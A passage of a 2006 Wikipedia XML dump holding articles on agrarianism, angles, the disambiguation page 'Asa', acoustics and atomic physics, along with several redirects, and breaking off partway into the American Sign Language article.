In his introduction to his 1969 book ''Agrarianism in American Literature'', [[M. Thomas Inge]] defines '''''agrarianism''''' by the following basic tenets: 

*Cultivation of the soil provides direct contact with nature; through the contact with nature the agrarian is blessed with a closer relationship to God. Farming has within it a positive spiritual good; the farmer acquires the virtues of &quot;honor, manliness, [[self-reliance]], courage, moral integrity, and hospitality&quot; and  follows the example of God when creating order out of chaos. 

*The farmer  &quot;has a sense of identity, a sense of historical and religious tradition, a feeling of belonging to a concrete family, place, and region, which are psychologically and culturally beneficial.&quot; The harmony of this life checks the encroachments of a fragmented, alienated modern society  which has grown to inhuman scale. 

*In contrast, farming offers total independence and [[self-sufficiency]]. It has a solid, stable position in the [[world order]]. But urban life, [[capitalism]], and technology destroy our independence and dignity while fostering vice and weakness within us. The agricultural community can provide checks and balances against the imbalances of modern society by its fellowship of labor and cooperation with other agrarians, while obeying the rhythms of nature. The agrarian community is the model society for mankind. 

Agrarianism is not identical with the back to the earth movement, but it can be helpful to think of it in those terms.  The agrarian philosophy is not to get people to reject progress, but rather to concentrate on the fundamental goods of the earth, communities of more limited economic and political scale than in modern society, and on simple living--even when this shift involves questioning the &quot;progressive&quot; character of some recent social and economic developments. Thus agrarianism is not [[industrial farming]], with its specialization on products and industrial scale.

The name &quot;agrarian&quot; is properly applied to figures from [[Horace]] and [[Virgil]] through [[Thomas Jefferson]], [[Transcendentalism|Transcendentals]] like [[Ralph Waldo Emerson|Emerson]] and [[Henry David Thoreau|Thoreau]], the [[Southern Agrarians]] movement of the 1920s and 1930s (also known as the [[Vanderbilt University|Vanderbilt]] Agrarians) and present-day authors [[Wendell Berry]], [[Alan Carlson]], [[Victor Davis Hanson]], and Michael Bunker.  

In the 1910s and 1920s, agrarianism garnered significant popular attention, but was eclipsed in the  postwar period.  It revived somewhat in conjunction with the 1960s [[environmentalist movement]], and has been drawing an increasing number of adherents.  
 
Recent agrarian thinkers are sometimes referred to as neo-Agrarian.

==See also==
* [[Junker]]s  German landed aristocracy
* The [[Amish]] and [[Mennonite]]s
*[[Agrarian society]]
*[[Alberta Progressive Conservatives]] 
*[[Back to the land]]

==External links==
*&quot;[http://www.newpantagruel.com/issues/2.3/agrarianism.php Agrarianism]&quot; in ''American Conservatism: An Encyclopedia''
*[http://www.pastoralfarms.com/agrarian/ Christian Agrarianism]
*[http://www.biblicalagrarianism.com Biblical Agrarianism]
*[http://www.newagrarian.com The New Agrarian]
*[http://www.theagrarianfoundation.com The Agrarian Foundation]


[[Category:Political theories]]</text>
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  <page>
    <title>Atomic</title>
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        <username>Ewlyahoocom</username>
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      <comment>#REDIRECT [[Atom]]</comment>
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  <page>
    <title>Allotropes</title>
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      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[Allotropy]]
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  <page>
    <title>Angle</title>
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      <comment>reflex angles</comment>
      <text xml:space="preserve">''This article is about angles in geometry. For other articles, see [[Angle (disambiguation)]]''

----

An '''Angle''' (from the Lat. ''angulus'', a corner, a diminutive, of which the primitive form, ''angus'', does not occur in Latin; cognate are the Lat. angere, to compress into a bend or to strangle, and the [[Greek language|Greek]] {{polytonic|&amp;#7936;γκύλος}} ''(angulοs)'' crooked, curved; both connected with the Aryan or Indo-European root ''ank''-, to bend) is the figure formed by two [[Ray_(geometry)|rays]] sharing a common [[endpoint]], called the [[vertex]] of the angle.  Angles provide a means of expressing the difference in [[slope]] between two rays meeting at a vertex without the need to explicitly define the slopes of the two rays. Angles are studied in [[geometry]] and [[trigonometry]].

[[Euclid]] defines a plane angle as the inclination to each other, in a plane, of two lines which meet each other, and do not lie straight with respect to each other. According to [[Proclus]] an angle must be either a quality or a quantity, or a relationship. The first concept was used by [[Eudemus]], who regarded an angle as a deviation from a straight line; the second by [[Carpus of Antioch]], who regarded it as the interval or space between the intersecting lines; Euclid adopted the third concept, although his definitions of right, acute, and obtuse angles are certainly quantitative. 

==Units of measure for angles==
In order to measure an angle, a [[circle]] centered at the vertex is drawn. Since the circumference of a circle is always directly proportional to the length of its radius, the measure of the angle is independent of the size of the circle. Note that angles are dimensionless, since they are defined as the ratio of lengths.

*The ''[[radian]] measure'' of the angle is the length of the arc cut out by the angle, divided by the circle's radius. The [[SI]] system of units uses [[radian]]s as the (derived) unit for angles.  This is also roughly subdivided into the [[angular_mil|mil]], which has several definitions in practice.  Because of the relationship to arc length, radians are a special unit.  Sines and cosines whose argument is in radians have particular analytic properties, just as do exponential functions in the base ''[[e (mathematical constant)|e]]''.  (As we've discovered, this is no coincidence).

*The ''[[degree (angle)|degree]] measure'' of the angle is the length of the arc, divided by the circumference of the circle, and multiplied by 360. The symbol for degrees is a small superscript circle, as in 360°. 2&amp;pi; radians is equal to 360° (a full circle), so one radian is about 57° and one degree is &amp;pi;/180 radians.  Degrees are further broken down into ''minutes of arc'' and ''seconds of arc'', which are 1/60th and 1/3600th of a degree, respectively.  Minutes of arc are commonly encountered in discussions of [[external ballistics]], as a minute of arc covers almost exactly 1 inch at 100 yards (1 m at 1200 m).  A [[rifle]] capable of shooting &quot;1 MOA&quot;, one minute of arc, can place all shots within 1 inch at 100 yards, 2 inches at 200 yards, etc.  Minutes of arc were also used in [[navigation]], and a [[nautical mile]] is roughly defined as one minute of arc of the earth's surface.

*The ''[[grad (angle)|grad]]'', also called grade, gradian or gon, is an angular measure where the arc is divided by the circumference, and multiplied by 400. It is used mostly in [[triangulation]].

*The ''point'' is used in [[navigation]], and is defined as 1/32 of a circle, or exactly 11.25°.

*The ''full circle'' or ''full [[Turn (geometry)|turn]]s'' represents the number or fraction of complete full turns. For example, &amp;pi;/2 radians = 90° = 1/4 full circle

==Conventions on measurement==

A convention universally adopted in mathematical writing is that angles given a sign are '''positive angles''' if measured [[Clockwise_and_counterclockwise|counterclockwise]], and '''negative angles''' if measured [[Clockwise_and_counterclockwise|clockwise]], from a given line. If no line is specified, it can be assumed to be the [[x-axis]] in the [[Cartesian plane]]. In [[navigation]], [[bearing (navigation)|bearings]] are measured from north, increasing clockwise, so a bearing of 45 is north-east. Negative bearings are not used in navigation, so north-west is 315.

In mathematics radians are assumed unless specified otherwise because this removes the arbitrariness of the number 360 in the degree system and because the [[trigonometric function]]s can be developed into particularly simple [[Taylor series]] if their arguments are specified in radians.

== Types of angles ==

An angle of  [[pi|&amp;pi;]]/2 radians or 90°, one-quarter of the full circle is called a '''right angle'''.

Two [[line segment]]s, rays, or lines (or any combination) which form a right angle are said to be either '''[[perpendicular]]''' or '''[[orthogonality|orthogonal]]''':

{|
|- style=&quot;vertical-align: top;&quot; 
|[[Image:Right_angle.svg|thumb|134px|Right angle]]
|[[Image:Angle obtuse acute straight.svg|thumb|240px|Acute, obtuse, and straight angles (''a'', ''b'', ''c''). Here, ''a'' and ''b'' are [[Supplementary angles|supplement angles]].]]
|}
&lt;!-- old images
| [[image:angle acute.png|thumb|150px|Acute angle]]
| [[image:angle obtuse.png|thumb|200px|Obtuse angle]]
| [[image:angle straight.png|thumb|200px|Straight angle]]
--&gt;
*Angles smaller than a right angle are called '''acute angles''' (less than 90 degrees)
*Angles larger than a right angle are called '''obtuse angles''' (more than 90 degrees, less that 180).  
*Angles equal to two right angles are called '''straight angles''' (equal to 180 degrees).  
*Angles large than two right angles are called '''relex angles''' (more than 180 degrees).  

*The difference between an acute angle and a right angle is termed the '''complement''' of the angle
*The difference between an angle and two right angles is termed the '''supplement''' of the angle.

==Some facts==

In [[Euclidean geometry]], the inner angles of a [[triangle (geometry)|triangle]] add up to &amp;pi; radians or 180°; the inner angles of a [[quadrilateral]] add up to 2&amp;pi; radians or 360°. In general, the inner angles of a [[polygon|simple polygon]] with ''n'' sides add up to (''n''&amp;nbsp;&amp;minus;&amp;nbsp;2)&amp;nbsp;&amp;times; &amp;nbsp; &amp;pi; radians or (''n''&amp;nbsp;&amp;minus;&amp;nbsp;2)&amp;nbsp; &amp;times; &amp;nbsp;180°.

If two [[straight line]]s intersect, four angles are formed.  Each one has an equal measure to the angle across from it; these congruent angles are called vertical angles.

If a straight [[transversal line]] intersects two [[Parallel (geometry)|parallel]] lines,  corresponding (alternate) angles at the two points of intersection are equal; [[adjacent angles]] are [[supplementary angles|supplementary]], that is they add to &amp;pi; radians or 180°.

==A formal definition==
A Euclidean angle is completely determined by the corresponding right triangle.  In particular, if &lt;math&gt;\theta&lt;/math&gt; is a Euclidean angle, it is true that

:&lt;math&gt;\cos \theta = \frac{x}{\sqrt{x^2 + y^2}}&lt;/math&gt; 

and

:&lt;math&gt;\sin \theta = \frac{y}{\sqrt{x^2 + y^2}}&lt;/math&gt;

for two numbers &lt;math&gt;x&lt;/math&gt; and &lt;math&gt;y&lt;/math&gt;.  So an angle can be legitimately given by two numbers &lt;math&gt;x&lt;/math&gt; and &lt;math&gt;y&lt;/math&gt;.

To the ratio &lt;math&gt;\frac{y}{x}&lt;/math&gt; there correspond two angles in the geometric range &lt;math&gt;0 &lt; \theta &lt; 2\pi &lt;/math&gt;, since

:&lt;math&gt;\frac{\sin \theta }{\cos \theta } = \frac{\frac{y}{\sqrt{x^2 + y^2}}}{\frac{x}{\sqrt{x^2 + y^2}}} = \frac{y}{x} =  \frac{-y}{-x} = \frac{\sin (\theta + \pi)}{\cos (\theta + \pi) } &lt;/math&gt;

==Angles in different contexts==

In the [[Euclidean space|Euclidean plane]], the angle &amp;theta; between two [[vector (spatial)|vector]]s '''u''' and '''v''' is related to their [[dot product]] and their lengths by the formula

:&lt;math&gt;\mathbf{u} \cdot \mathbf{v} = \cos(\theta)\ \|\mathbf{u}\|\ \|\mathbf{v}\|.&lt;/math&gt;

This allows one to define angles in any real [[inner product space]], replacing the Euclidean dot product · by the [[Hilbert space]] inner product &lt;·,·&gt;.

The angle between a line and a [[curve]] (mixed angle) or between two intersecting curves (curvilinear angle) is defined to be the angle between the [[tangent]]s at the point of intersection.  Various names (now rarely, if ever, used) have been given to particular cases:&amp;#8212;amphicyrtic (Gr. &amp;#7936;&amp;#956;&amp;#966;&amp;#8055;, on both sides, &amp;#954;&amp;#965;&amp;#961;&amp;#964;&amp;#8057;&amp;#963;, [[convex]]) or cissoidal (Gr. &amp;#954;&amp;#953;&amp;#963;&amp;#963;&amp;#8057;&amp;#963;, ivy), biconvex; xystroidal or sistroidal (Gr. &amp;#958;&amp;#965;&amp;#963;&amp;#964;&amp;#961;&amp;#8055;&amp;#963;, a tool for scraping), concavo-convex; amphicoelic (Gr. &amp;#954;&amp;#959;&amp;#8055;&amp;#955;&amp;#951;, a hollow) or angulus lunularis, biconcave.

Two intersecting [[plane (mathematics)|planes]] form an angle, called their '''[[dihedral angle]]'''. It is defined as the angle between two lines normal to the planes.

Also a plane and an intersecting line form an angle. This angle is equal to [[pi|&amp;pi;]]/2 radians minus the angle between the intersecting line and the line that goes through the point of intersection and is [[perpendicular]] to the plane. 

==Angles in Riemannian geometry==

In [[Riemannian geometry]], the [[metric tensor]] is used to define the angle between two [[tangent]]s.  Where ''U'' and ''V'' are tangent vectors and ''g''&lt;sub&gt;''ij''&lt;/sub&gt; are the components of the metric tensor ''G'',

:&lt;math&gt;
\cos \theta = \frac{g_{ij}U^iV^j}
{\sqrt{ \left| g_{ij}U^iU^j \right| \left| g_{ij}V^iV^j \right|}}.
&lt;/math&gt;

==Angles in astronomy==

In [[astronomy]], one can measure the ''angular separation'' of two [[star]]s by imagining two lines through the [[Earth]], each one intersecting one of the stars. 
Then the angle between those lines can be measured; this is the angular separation between the two stars. 

Astronomers also measure the [[apparent size]] of objects. 
For example, the [[full moon]] has an angular measurement of approximately 0.5°, when viewed from Earth. 
One could say, &quot;The Moon subtends an angle of half a degree.&quot; 
The [[small-angle formula]] can be used to convert such an angular measurement into a distance/size ratio.

==Angles in maritime navigation==

The modern format of angle used to indicate [[longitude]] or [[latitude]] is '''hemisphere degree minute.decimal''', where there are 60 minutes in a degree, for instance '''N 51 23.438''' or '''E 090 58.928'''.

The obsolete (but still commonly used) format of angle used to indicate [[longitude]] or [[latitude]] is '''hemisphere degree minute' second&quot;''', where there are 60 minutes in a degree and 60 seconds in a minute, for instance '''N 51 23&amp;prime;26&amp;Prime;''' or '''E 090 58&amp;prime;57&amp;Prime;'''

==See also==

*[[Central angle]]
*[[Complementary angles]]
*[[Inscribed angle]]
*[[Supplementary angles]]
*[[solid angle]] for a concept of angle in three dimensions.
*[[Astrological aspect]]

==External links==
* [http://www.cut-the-knot.org/triangle/ABisector.shtml Angle Bisectors] at [[cut-the-knot]]
* [http://www.cut-the-knot.org/Curriculum/Geometry/PerpBiInQuadri.shtml Angle Bisectors and Perpendiculars in a Quadrilateral] at [[cut-the-knot]]
* [http://www.cut-the-knot.org/Curriculum/Geometry/CyQuadri.shtml Angle Bisectors in a Quadrilateral] at [[cut-the-knot]]
* [http://www.cut-the-knot.org/triangle/TriangleFromBisectors.shtml Constructing a triangle from its angle bisectors] at [[cut-the-knot]]

[[Category:Elementary geometry]]
[[Category:Trigonometry]]
[[Category:Angle|*]]

{{Link FA|nl}}

[[ar:زاوية]]
[[bg:Ъгъл]]
[[ca:Angle]]
[[cs:Úhel]]
[[da:Vinkel (matematik)]]
[[de:Winkel (Geometrie)]]
[[es:Ángulo]]
[[eo:Angulo]]
[[fa:زاویه]]
[[fr:Angle]]
[[ko:각도]]
[[io:Angulo]]
[[is:Bogagráða]]
[[it:Angolo]]
[[he:זווית]]
[[nl:Hoek (meetkunde)]]
[[ja:角度]]
[[pl:Kąt]]
[[pt:Ângulo]]
[[ru:Угол]]
[[simple:Angle]]
[[sl:Kot]]
[[sr:Угао (математика)]]
[[fi:Kulma]]
[[sv:Vinkel]]
[[ta:கோணம்]]
[[vi:Góc]]
[[zh:角]]</text>
    </revision>
  </page>
  <page>
    <title>Asa</title>
    <id>1197</id>
    <revision>
      <id>40967640</id>
      <timestamp>2006-02-24T04:18:50Z</timestamp>
      <contributor>
        <username>Royalbroil</username>
        <id>299408</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Asa''' may be any of the following:

*'''[[Asa of Judah]]''', king of [[Kingdom of Judah|Judah]], the son of [[Abijam]], and grandson of [[Rehoboam]].
*Asa, god of the '''[[Akamba]]''' people of [[Kenya]].
*'''[[Asa Dotzler]]''', the founder and coordinator of [[Mozilla]]'s Quality Assurance and Testing Program.
*Ása - the [[genitive]] of '''[[Æsir]]''', the predominant group among the [[Norse mythology|Norse]] gods.
*[[United States Army Security Agency]]
*[[United States]] [[Adult Soccer Association]]
*[[American Speed Association]], was a second-tier [[stock car racing]] circuit in the [[United States]] 

''See also'': [[ASA]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Acoustics</title>
    <id>1198</id>
    <revision>
      <id>41752280</id>
      <timestamp>2006-03-01T14:14:24Z</timestamp>
      <contributor>
        <ip>158.111.4.26</ip>
      </contributor>
      <comment>/* Measurement methods */</comment>
      <text xml:space="preserve">'''Acoustics''' is a branch of [[physics]] and is the study of [[sound]], mechanical [[wave]]s in [[gas]]es, [[liquid]]s, and [[solid]]s. A [[scientist]] who works in the field of acoustics is an '''acoustician'''.  The application of acoustics in [[technology]] is called [[acoustical engineering]]. There is often much overlap and interaction between the interests of acousticians and acoustical engineers.

&quot;... acoustics is characterized by its reliance on combinations of physical principles drawn from other sources; and that the primary task of modern physical acoustics is to effect a fusion of the principles normally adhering to other sciences into a coherent basis for understanding, measuring, controlling, and using the whole gamut of vibrational phenomena in any material Phillip.&quot; ''Origins in Acoustics''. F.V. Hunt. Yale University Press, 1978

The main sub-disciplines of acoustics are

* [[Aeroacoustics]] is the study of  aerodynamic [[sound]], generated when a fluid flow interacts with a solid surface or with another flow. It has particular application to [[aeronautics]], examples being the study of sound made by jets and the physics of [[shock wave]]s ([[sonic boom]]s).

* [[Architectural acoustics]] is the study of how sound and buildings interact including the behavior of sound in [[concert hall]]s and auditoriums but also in office buildings, factories and homes. 

* [[Bioacoustics]] is the study of the use of sound by [[animal]]s such as [[whale]]s, [[dolphin]]s and [[bat]]s.

* [[Biomedical acoustics]] is the study of the use of sound in [[medicine]], for example the use of [[ultrasound]] for diagnostic and therapeutic purposes.

* [[Loudspeaker acoustics]] is an engineering discipline behind the design of the [[loudspeaker]]

* [[Psychoacoustics]] is the study of how people react to sound, [[hearing (sense)|hearing]], [[perception]], and [[sound localization|localization]].

* [[Psychological Acoustics]] is the study of the mechanical, electrical and biochemical function of [[hearing (sense)|hearing]] in living organisms. 

* [[Physical acoustics]] is the study of the detailed interaction of sound with materials and fluids and includes, for example, [[sonoluminescence]] (the emission of light by bubbles in a liquid excited by sound) and [[thermoacoustics]] (the interaction of sound and heat).

* [[Speech communication]] is the study of how [[speech]] is produced, the analysis of speech signals and the properties of speech transmission, storage, recognition and enhancement. 

* [[Vibration acoustics]] ''Structural Acoustics and Vibration'' is the study of how sound and mechanical structures interact; for example, the transmission of sound through walls and the [[radiation of sound]] from [[vehicle]] panels.

* [[Ultrasonics]] is the study of high [[frequency]] sound, beyond the range of human hearing. 

* [[Wolffian Acousitics]] is the study of salient features of pediatric ultrasound insofar as it reviews technologic factors, technique, and the normal anatomy used to evaluate the pediatric tract for abnormality.

* [[Musical acoustics]] is the study of the physics of [[musical instruments]]

* [[Underwater acoustics]] is the study of the [[propagation of sound]] in the [[ocean]]s.  Closely associated with [[sonar]] research and development.

* [[Acoustic engineering]] is the study of how sound is generated and measured by [[loudspeaker]]s, [[microphone]]s, [[sonar projector]]s, [[hydrophone]]s, [[ultrasonic transducer]]s, [[sensor]]s, [[Electro Acoustics]], and all other topics on this list. (see external links)

A sound wave is characterized by its speed, its [[wavelength]] and its amplitude. The [[speed of sound]] depends on the medium through which the sound travels and also depends on [[temperature]] and not on the air pressure. The speed of sound is about 340 m/s in air and 1500 m/s in water. The wavelength is the distance from one wave peak to the next. The wavelength, &lt;math&gt;\lambda&lt;/math&gt; of a sound wave is related to the speed of sound &lt;math&gt;c&lt;/math&gt; and its frequency &lt;math&gt;f&lt;/math&gt; by 
:&lt;math&gt;
\lambda = \frac{c}{f}
&lt;/math&gt;.
== Sound pressure level (SPL)==

The [[amplitude]] of a sound wave is usually characterized by its [[sound pressure]]. In a normal working environment, a very wide range of [[pressure]]s can occur and it is therefore a convention that sound pressure is measured on a [[logarithmic scale]] using the [[Decibel#Acoustics|decibel]]. If &lt;math&gt;p&lt;/math&gt; is the [[root mean square|rms]] sound pressure amplitude then the [[sound pressure level]] (SPL) is defined as 20 times the logarithm of the ratio of the pressure to some reference pressure.

'''[[Sound pressure level]] SPL''' is calculated in [[decibel]]s as
:&lt;math&gt;
L_p =20\, \log_{10}\left(\frac{p_1}{p_0}\right)=10\, \log_{10}\left(\frac{p_1^2}{p_0^2}\right)\mbox{ dB} SPL
&lt;/math&gt;

The reference sound pressure in air is by convention the [[threshold of hearing]]:

:&lt;math&gt;p_0 = 2 \cdot 10^{-5} \mbox{ Pa}&lt;/math&gt;

:'''= 20 µPa in air and 1 µPa in water. (Pa = [[pascal]] = N / m²; N = [[newton]])'''

When speaking of sound levels, one must be sure to differentiate between [[sound pressure level]]s and sound power levels. Sound pressure levels are recorded by [[microphone]]s and other devices. This is a measurement of the amount of pressure in the air being sensed at a given location. It follows that its value can be determined through direct experimentation. In comparison, sound [[power (physics)|power]] levels are a measurement of the actual [[energy]] being put into use by a given device to create [[noise (environmental)|noise]]. Because of environmental factors, and other influences, the amount of energy a device devotes to creating sound may not be equal to the actual level of the sound as it's perceived. It can be useful to express sound pressure in this way when dealing with [[hearing (sense)|hearing]], as the perceived loudness of a sound correlates roughly logarithmically to its sound pressure. Both microphones and eardrums respond to the sound pressure level. They cannot convert the [[sound intensity]]. Sound power measurements cannot be directly measured, and must be inferred through other data.

==Measurement methods==

There are two popular ways for scientists to perform sound power level measurements. They include a &quot;direct method&quot;, and a &quot;comparison method&quot;. The direct method computes sound power levels by computing an equation of environmental factors (such as room [[temperature]], [[humidity]], [[reverberation]] time, etc.) and sound pressure levels. A more precise implementation of this method can be found in the [[ISO3745]] acoustics standard. The comparison method however, is conducted by measuring sound pressure levels from a [[reference]] sound source which emits a known, constant, sound power level, and then comparing that level with the sound pressure level of the object being recorded. Each way is equally valid and accurate.

==Reverberation and anechoic rooms==

Experiments such as the two methods mentioned above are sometimes performed in [[reverberation room]]s, or in some cases, [[anechoic room]]s. The design of a reverberation room is to create long lasting reflections, or [[echo (phenomenon)|echo]]es, of sound waves. This helps create a highly averaged and [[omnidirectional]] sound level throughout the entire chamber. A typical example of rooms with characteristics similar to reverberation rooms are concrete tunnels, caves, etc. Anechoic rooms, such as [[hemi-anechoic]] rooms, or fully anechoic rooms are created to simulate what is called a ''[[free field]]''. A free field is the representation of a theoretical [[infinite space]], in which no sound wave [[Reflection (physics)|reflection]]s, or echoes, take place. In rooms such as these, the only sounds which exist are being emitted directly from the source, and are not reflected from another part of the chamber. Anechoic rooms have the characteristic of being muted and muffled.

==Helmholtz resonator==

A Helmholtz resonator is a container with an open hole or neck.
It is sometimes used as a passive noise control device.
It behaves essentially as a mass-spring-damper system, and its resonant frequency can be calculated as follows:

*''f'' = resonant frequency
*''s'' = speed of sound in air
*''r'' = radius of neck
*''a'' = area of neck
*''l'' = length of neck
*''L''&amp;prime; = effective length of neck
:''L''&amp;prime; = ''l'' + 1.7''r'' (outer end flanged)
:''L''&amp;prime; = ''l'' + 1.4''r'' (outer end unflanged)
*''v'' = volume
:&lt;math&gt;f = (s/2 \pi)(\sqrt{a/(L' \cdot v)})&lt;/math&gt;

(A container with a hole, rather than a neck, behaves as being flanged, with a neck length of 0.)

The Helmholtz resonator is an example of the [[lumped component]] model of acoustic systems which is useful when the [[wavelength]] of interest is significantly larger than the physical dimensions of the system.

Familiar examples of Helmholtz resonators include blowing across the top of a bottle, [[whistling]], and the [[ocarina]].

==Rectangular boxes==

*''f'' = frequency of standing wave of a rectangular box
*''s'' = speed of sound in air
*''x'', ''y'', ''z'' = dimensions of box
*''N''&lt;sub&gt;''x''&lt;/sub&gt;, ''N''&lt;sub&gt;''y''&lt;/sub&gt;, ''N''&lt;sub&gt;''z''&lt;/sub&gt; = any integers
:&lt;math&gt;f = (s/2)(\sqrt{(N_x/x)^2+(N_y/y)^2+(N_z/z)^2})&lt;/math&gt;

==See also==

More specialized areas of acoustics include, but are not limited to, [[tonal analysis]], [[sound quality assessment]]s, and [[noise control]].

Subfields and related fields of acoustics:
* [[Acoustic theory]]
* [[Structural acoustics]]
* [[Noise control]]
* [[Outdoor sound propagation]]
* [[Room acoustics]]
* [[Concert hall acoustics]]
* [[Musical instrument]]s
* [[Underwater acoustics]]
* [[Audio signal processing]]
** [[Audio storage]]
** [[Sound synthesis]]
** [[Speech processing]]
* [[Psychoacoustics]]
* [[list of publications in physics#Acoustics|Important publications in acoustics]]

==External links==
*[http://www.isvr.soton.ac.uk/SPCG/Tutorial/Tutorial/StartCD.htm Acoustics - Educational site with great animations]
*[http://physics.kenyon.edu/EarlyApparatus/Rudolf_Koenig_Apparatus/Helmholtz_Resonator/Helmholtz_Resonator.html Helmholtz Resonator]
*[http://www.phys.unsw.edu.au/~jw/Helmholtz.html Helmholtz Resonance]
*[http://www.physics.umd.edu/lecdem/services/demos/demosh3/h3-41.htm Helmholtz Resonator with oscilloscope]
*[http://www.fci.uach.cl/escuela/ingacustica/index.htm Acoustic Engineering at Universidad Austral de Chile]
*[http://www.acoustics.salford.ac.uk/schools/index.htm Sounds Amazing: a learning resource for sound and waves]
*[http://www.fe.up.pt/~carvalho/igrejase.htm Church Acoustics]

[[Category:Acoustics| ]]
[[Category:Building engineering]]

[[az:Akustika]]
[[bg:Акустика]]
[[ca:Acústica]]
[[cs:Akustika]]
[[da:Akustik]]
[[de:Akustik]]
[[es:Acústica]]
[[eo:Akustiko]]
[[fr:Acoustique]]
[[gl:Acústica]]
[[ko:음향학]]
[[hr:Akustika]]
[[io:Akustiko]]
[[it:Acustica]]
[[he:אקוסטיקה]]
[[lb:Akustik]]
[[nl:Akoestiek]]
[[ja:音響学]]
[[pl:Akustyka]]
[[pt:Acústica]]
[[ru:Акустика]]
[[sl:Akustika]]
[[fi:Akustiikka]]
[[sv:Akustik]]
[[ta:ஒலியியல்]]
[[th:สวนศาสตร์]]
[[tr:Akustik]]
[[zh:声学]]</text>
    </revision>
  </page>
  <page>
    <title>Angle tribe</title>
    <id>1199</id>
    <revision>
      <id>15899695</id>
      <timestamp>2003-07-18T04:38:50Z</timestamp>
      <contributor>
        <username>Adam Bishop</username>
        <id>13008</id>
      </contributor>
      <comment>Redirecting to Angles...both existed, this one seemed the more unnecessary</comment>
      <text xml:space="preserve">#REDIRECT [[Angles]]</text>
    </revision>
  </page>
  <page>
    <title>Atomic physics</title>
    <id>1200</id>
    <revision>
      <id>39868446</id>
      <timestamp>2006-02-16T12:17:31Z</timestamp>
      <contributor>
        <username>Hede2000</username>
        <id>284384</id>
      </contributor>
      <minor />
      <comment>+da:</comment>
      <text xml:space="preserve">'''Atomic physics''' (or '''atom physics''') is the field of [[physics]] that studies the [[electron]] hull of [[atom]]s.

Lay people often associate the term ''atomic physics'' with [[nuclear power]] and [[nuclear bomb]]s, obviously due to the [[synonym]]ous use of ''atomic'' and ''nuclear'' in [[standard English]]. However, physicists distinguish between atomic physics (dealing with the effects of the [[electron]] hull and the nucleus's overall [[Spin_(physics)|spin]] and [[electric charge]]) and [[nuclear physics]] (dealing with the forces within [[atomic nucleus|atomic nuclei]] and reactions that alter, fuse or split them).

The beginning of atomic physics is marked by the discovery and scrutinious study of [[spectral line]]s. These are sharply defined lines in the spectrum of illuminated or (hot, hence ionized (see [[flame]]) and hence) light-emitting free atoms. (&quot;Free&quot; meaning that they are a [[gas]] or [[vapour]] and therefore not close to or interacting with other atoms.)

The study of these lines led to the [[Bohr atom model]] and on to our present understanding of the electron hull of the atom as described by the [[atomic orbital model]] which is the basis of all understanding of [[chemistry]]. These conclusions are, however, not at all straightforward, but rather were required by more than a century of research, which has succeeded in putting chemistry on a sound fundament but also gave rise to many other applications.

== See also ==

* [[Atomic clock]]: a typical application of atom physics
* [[Energy level]]: a list of quantum mechanical effects important in atom physics
* [[Quantum optics]]: a field that has lot of overlap with atom physics

== External links ==

* [http://plasma-gate.weizmann.ac.il/API.html Atomic Physics on the Internet]

[[Category:Atomic physics| ]]
[[Category:Atomic, molecular, and optical physics]]

&lt;!-- Interlanguage links --&gt;

[[ar:فيزياء ذرية]]
[[da:Atomfysik]]
[[de:Atomphysik]]
[[es:Física atómica]]
[[id:Fisika atom]]
[[he:פיזיקה אטומית]]
[[lb:Atomphysik]]
[[nl:Atoomfysica]]
[[ja:原子物理学]]
[[pl:Fizyka atomowa]]
[[pt:Física atômica]]
[[sv:Atomfysik]]
[[ta:அணுவியல்]]
[[zh:原子物理学]]</text>
    </revision>
  </page>
  <page>
    <title>American Sign Language</title>
    <id>1201</id>
    <revision>
      <id>41640776</id>
      <timestamp>2006-02-28T18:57:10Z</timestamp>
      <contributor>
        <username>BillFlis</username>
        <id>846916</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Infobox Language
|name=American Sign Language
|nativename=ASL
|states=[[United States]], [[Canada]] and [[Mexico]]
|region=Anglophone [[North America]]
|signers=500,000 to 2 million in the USA alone (others unknown)
|family=emerging primarily from [[Old French Sign Language]], with significant input from [[Martha's Vineyard Sign Language]] and various [[home sign]] systems
|iso3=ase
}}
'''American Sign Language''' ('''ASL''', also '''Amslan''' obs., '''Ameslan''' obs.) is the dominant [[sign language]] in the [[United States]], [[anglophone|English-speaking]] [[Canada]], and parts of [[Mexico]], used particularly in the [[Deaf community]]. Although the United Kingdom and the United States share English as a spoken language, [[British Sign Language]] (BSL) is quite different from ASL, and not mutually intelligible. 

ASL is also used (sometimes alongside indigenous sign languages) in the [[Philippines]], [[Singapore]], [[Hong Kong]], [[Dominican Republic]], [[Haiti]], [[Puerto Rico]], [[Côte d'Ivoire]], [[Burkina Faso]], [[Ghana]], [[Togo]], [[Benin]], [[Nigeria]], [[Chad]], [[Gabon]], [[Democratic Republic of the Congo]], [[Central African Republic]], [[Mauritania]], [[Kenya]], [[Madagascar]], and [[Zimbabwe]]. Like other sign languages, its [[grammar]] and [[syntax]] are distinct from any [[spoken language]] in its area of influence. While there has been no reliable survey of the number of people who use ASL as their primary language, estimates range from 500,000 to 2 million in the U.S.A. alone [http://library.gallaudet.edu/dr/faq-asl-rank.html]. American Sign Language has been said (by Trudy Suggs in her book) to be the third-most-used language in America after English and Spanish.

==History of ASL==
In the [[United States]], as in most of the world, hearing families with deaf children often employ ad-hoc [[home sign]] for simple communications. Today though, ASL classes are offered in many secondary and postsecondary schools. ASL is a language distinct from spoken English—replete with its own syntax and grammar and supporting its own culture. The origin of modern ASL is ultimately tied to the confluence of many events and circumstances, including historical attempts at [[deaf education]]; possibly the sign used by the indigenous nations of North America; the unique situation present on a small island in Massachusetts; the attempts of a father to enlist a local minister to help educate his deaf daughter; and in no small part the ingenuity and genius of people (in this case deaf people) for language itself.

Standardized sign languages have been used in Italy since the [[17th century]] and in France since the [[18th century]] for the instruction of the deaf. [[Old French Sign Language]] was developed and used in [[Paris]] by the [[Abbé de l'Épée]] in his school for the deaf. These languages were always modeled after the natural sign languages already in use by the deaf cultures in their area of origin, often with additions to show aspects of the grammar of the local spoken languages. 

American Plains Indians used [[Plains Indian Sign Language]] as an [[interlanguage]] for communication between people/tribes not sharing a common spoken language; its influence on ASL, if any, is unknown. 

Off the coast of [[Massachusetts]], on the island of [[Martha's Vineyard]] in the 18th century, the population had a much higher rate of deafness than the general population of the continental United States because of the [[founder effect]] and the island's isolation. [[Martha's Vineyard Sign Language]] was well known by almost all islanders since so many families had deaf members. It afforded almost everyone the opportunity to have frequent contact with ASL while at an age most conducive to effortlessly learning a language. 

